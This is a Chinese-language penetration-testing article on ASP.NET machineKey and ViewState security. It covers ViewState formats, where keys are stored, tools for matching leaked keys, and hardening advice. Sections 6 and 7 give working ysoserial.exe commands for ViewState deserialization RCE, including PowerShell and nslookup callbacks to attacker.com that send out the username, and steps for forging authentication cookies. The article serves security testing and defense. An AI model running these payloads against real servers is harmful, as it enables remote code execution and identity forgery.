前言
ASP.NET 应用程序中的 machineKey
配置对安全性至关重要。它用于加密和解密 forms 身份验证 cookie 数据、ViewState 数据,以及验证进程外会话状态标识。一旦 machineKey
泄露或配置不当,可能导致严重的安全性问题,例如身份伪造、数据篡改甚至远程代码执行。本文将深入探讨 IIS Machine Keys 的相关知识,包括 ViewState 的格式、Machine Key 的格式和位置、如何识别已知的 Machine Key、如何解码 ViewState,以及如何利用 Machine Key 漏洞进行攻击。
1. 核心概念解释
1.1 IIS (Internet Information Services)
IIS 是微软公司开发的 Web 服务器,用于托管 ASP.NET 应用程序。它负责处理客户端的 HTTP 请求,并将请求转发给相应的应用程序进行处理。IIS 的配置直接影响着应用程序的安全性。
1.2 ASP.NET
ASP.NET 是微软公司开发的 Web 应用程序框架,用于构建动态网站、Web 应用程序和 Web 服务。ASP.NET 应用程序依赖 IIS 进行托管和运行。
1.3 Machine Key
machineKey
是 ASP.NET 配置文件(web.config
或 machine.config
)中的一个配置元素,用于指定加密和验证数据的密钥和算法。它主要用于以下几个方面:
- Forms 身份验证:加密和解密身份验证 cookie,防止用户身份被伪造。
- ViewState:加密和验证 ViewState 数据,防止数据被篡改。
- 会话状态:验证进程外会话状态标识,防止会话被劫持。
machineKey
的配置不当或者泄露会导致严重的安全性问题。
1.4 ViewState
ViewState 是 ASP.NET 中一种用于在多次请求之间保持页面状态的技术。它将页面上的控件状态序列化为字符串,并存储在隐藏的表单字段(__VIEWSTATE
)中。当页面回发时,ASP.NET 会将 ViewState 反序列化,从而恢复控件的状态。
ViewState 的安全性取决于 machineKey
的配置。如果 machineKey
泄露或者 ViewState 未进行加密和 MAC 验证,攻击者可以篡改 ViewState 数据,从而导致各种安全问题。
1.5 加密算法 (Encryption Algorithms)
在 machineKey
配置中,加密算法用于对数据进行加密,防止数据被未经授权的访问。常见的加密算法包括:
- DES (Data Encryption Standard):一种对称加密算法,密钥长度较短,安全性较低。
- 3DES (Triple DES):一种对称加密算法,是 DES 的升级版,使用三个密钥进行加密,安全性较高。
- AES (Advanced Encryption Standard):一种对称加密算法,是目前最流行的加密算法之一,安全性很高。
1.6 验证算法 (Validation Algorithms)
在 machineKey
配置中,验证算法用于对数据进行 MAC (Message Authentication Code) 验证,防止数据被篡改。常见的验证算法包括:
- SHA1 (Secure Hash Algorithm 1):一种哈希算法,用于生成数据的摘要。
- MD5 (Message Digest Algorithm 5):一种哈希算法,与 SHA1 类似,但安全性较低。
- HMACSHA256 (Hash-based Message Authentication Code with SHA256):一种消息认证码算法,使用 SHA256 哈希函数生成 MAC 值,安全性很高。
2. ViewState 格式
ViewState 的格式取决于 EnableViewStateMac
和 ViewStateEncryptionMode
属性的配置。
格式 | EnableViewStateMac | ViewStateEncryptionMode | 说明 |
---|---|---|---|
Base64 | False | False | ViewState 数据以 Base64 编码存储,未进行 MAC 验证和加密。 |
Base64 + MAC | True | False | ViewState 数据以 Base64 编码存储,并附加了 MAC 值进行验证。 |
Base64 + 加密 | False 或 True | True | ViewState 数据经过加密后,再以 Base64 编码存储。是否启用 MAC 验证取决于 EnableViewStateMac 属性的配置。通常来说,如果 ViewStateEncryptionMode 设置为 Always ,EnableViewStateMac 也会被设置为 True ,以提供更强的安全性。 |
在 2014 年 9 月之前,enableViewStateMac
属性的默认值为 False
,这意味着 ViewState 默认情况下未进行 MAC 验证,存在安全风险。通常,未加密的 ViewState 以字符串 /wEP
开头。
3. Machine Key 格式与位置
3.1 Machine Key 格式
machineKey
配置元素的格式如下:
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" compatibilityMode="Framework20SP2|Framework45" />
validationKey
: 用于验证数据的十六进制字符串,确保数据未被篡改。decryptionKey
: 用于加密和解密敏感数据的十六进制字符串。validation
: 用于指定数据验证算法,常见的有 SHA1、MD5、3DES、AES 和 HMACSHA256 等。decryption
: 用于指定加密算法,常见的有 Auto、DES、3DES 和 AES 等。compatibilityMode
: 指定与哪个 .NET Framework 版本兼容,常见的有Framework20SP2
和Framework45
。
以下是一个 machineKey
的示例:
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246C11B" validation="SHA1" decryption="AES" />
3.2 Machine Key 常见位置
machineKey
通常存储在以下位置:
web.config
: 应用程序级别的配置文件,位于应用程序的根目录下。machine.config
: 机器级别的配置文件,位于 .NET Framework 的配置目录下。
常见的 machine.config
路径如下:
- 32 位系统:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
- 64 位系统:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
当 AutoGenerate
启用时,machineKey
也会存储在注册表中:
HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
可以使用 gist 中的脚本提取注册表中的 machineKey
。
3.3 安全风险
将 machineKey
存储在 web.config
中可能会导致安全风险,因为 web.config
文件可能会被未经授权的用户访问。建议将 machineKey
存储在更安全的位置,例如加密的配置文件或硬件安全模块 (HSM)。
此外,如果多个应用程序共享同一个 machineKey
,那么一个应用程序的漏洞可能会影响到其他应用程序。因此,建议为每个应用程序使用不同的 machineKey
。
4. 识别已知 Machine Key
可以使用以下工具识别已知的 Machine Key:
-
isclayton/viewstalker: 一个用于识别 ViewState 中 Machine Key 的工具。
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
-
blacklanternsecurity/badsecrets: 一个包含大量已知 Machine Key 的数据库。
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
-
NotSoSecure/Blacklist3r: 另一个用于识别已知 Machine Key 的工具。
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valal[...]
-
0xacb/viewgen: 一个用于分析和生成 ViewState 的工具。
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
以下是一些常用的 Machine Key 列表:
- NotSoSecure/Blacklist3r/MachineKeys.txt
- isclayton/viewstalker/MachineKeys2.txt
- blacklanternsecurity/badsecrets/aspnet_machinekeys.txt
5. 解码 ViewState
可以使用以下工具解码 ViewState 数据:
-
BApp Store > ViewState Editor: Burp Suite 插件,用于查看和编辑 ViewState 的结构和内容。
-
0xacb/viewgen: 用于分析和生成 ViewState 的工具。
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYU[...]
6. 生成 ViewState 进行 RCE
6.1 前提条件
__VIEWSTATE
__VIEWSTATEGENERATOR
6.2 MAC 未启用
如果 MAC 未启用,可以直接使用 ysoserial.exe
生成恶意 ViewState,从而实现远程代码执行 (RCE)。
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
6.3 MAC 启用且加密禁用
-
使用
badsecrets
、viewstalker
、AspDotNetWrapper.exe
或viewgen
找到machineKey
(validationkey)。AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valal[...] # --modifier = `__VIEWSTATEGENERATOR` 参数值 # --encrypteddata = 目标应用程序的 `__VIEWSTATE` 参数值
-
使用 pwntester/ysoserial.net 生成 ViewState。可以使用
TextFormattingRunProperties
和TypeConfuseDelegate
gadgets。.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C5[...] .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F[...] # --generator = `__VIEWSTATEGENERATOR` 参数值 # --validationkey = 上一个命令中的验证密钥
6.4 MAC 启用且加密启用
默认的验证算法是 HMACSHA256
,默认的解密算法是 AES
。
如果缺少 __VIEWSTATEGENERATOR
,但应用程序使用 .NET Framework 4.0 或更低版本,则可以使用应用程序的根目录(例如:--apppath="/testaspx/"
)。
-
.NET Framework < 4.5: 如果从请求中删除
__VIEWSTATEENCRYPTED
参数,ASP.NET 始终接受未加密的__VIEWSTATE
。.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177[...]
-
.NET Framework > 4.5:
machineKey
具有属性:compatibilityMode="Framework45"
。.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryption[...]
7. 编辑 Cookies With The Machine Key
如果您拥有 machineKey
,但 ViewState 已禁用,则可以使用以下方法编辑 cookies:
ASP.net Forms Authentication Cookies: https://github.com/liquidsec/aspnetCryptTools
# 解密 cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# 加密 cookie (编辑 Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
8. 安全建议
- 保护
machineKey
: 将machineKey
存储在安全的位置,例如加密的配置文件或 HSM。 - 为每个应用程序使用不同的
machineKey
: 避免多个应用程序共享同一个machineKey
。 - 启用 MAC 验证: 确保
enableViewStateMac
属性设置为True
,以防止 ViewState 数据被篡改。 - 启用加密: 启用 ViewState 加密,防止敏感数据泄露。
- 定期更换
machineKey
: 定期更换machineKey
,降低被攻击的风险。 - 使用强加密算法和验证算法: 避免使用弱加密算法和验证算法,例如 DES 和 MD5。
- 监控应用程序日志: 监控应用程序日志,及时发现异常行为。
- 及时更新 .NET Framework: 及时更新 .NET Framework,修复已知的安全漏洞。
9. 总结
machineKey
是 ASP.NET 应用程序安全性的关键组成部分。配置不当或泄露 machineKey
可能会导致严重的安全性问题。因此,开发人员应该充分了解 machineKey
的相关知识,并采取必要的安全措施来保护 machineKey
,从而确保应用程序的安全性。
10. 参考资料
- Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019
- Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019
- Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019
- Project Blacklist3r - @notsosecure - November 23, 2018
- View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024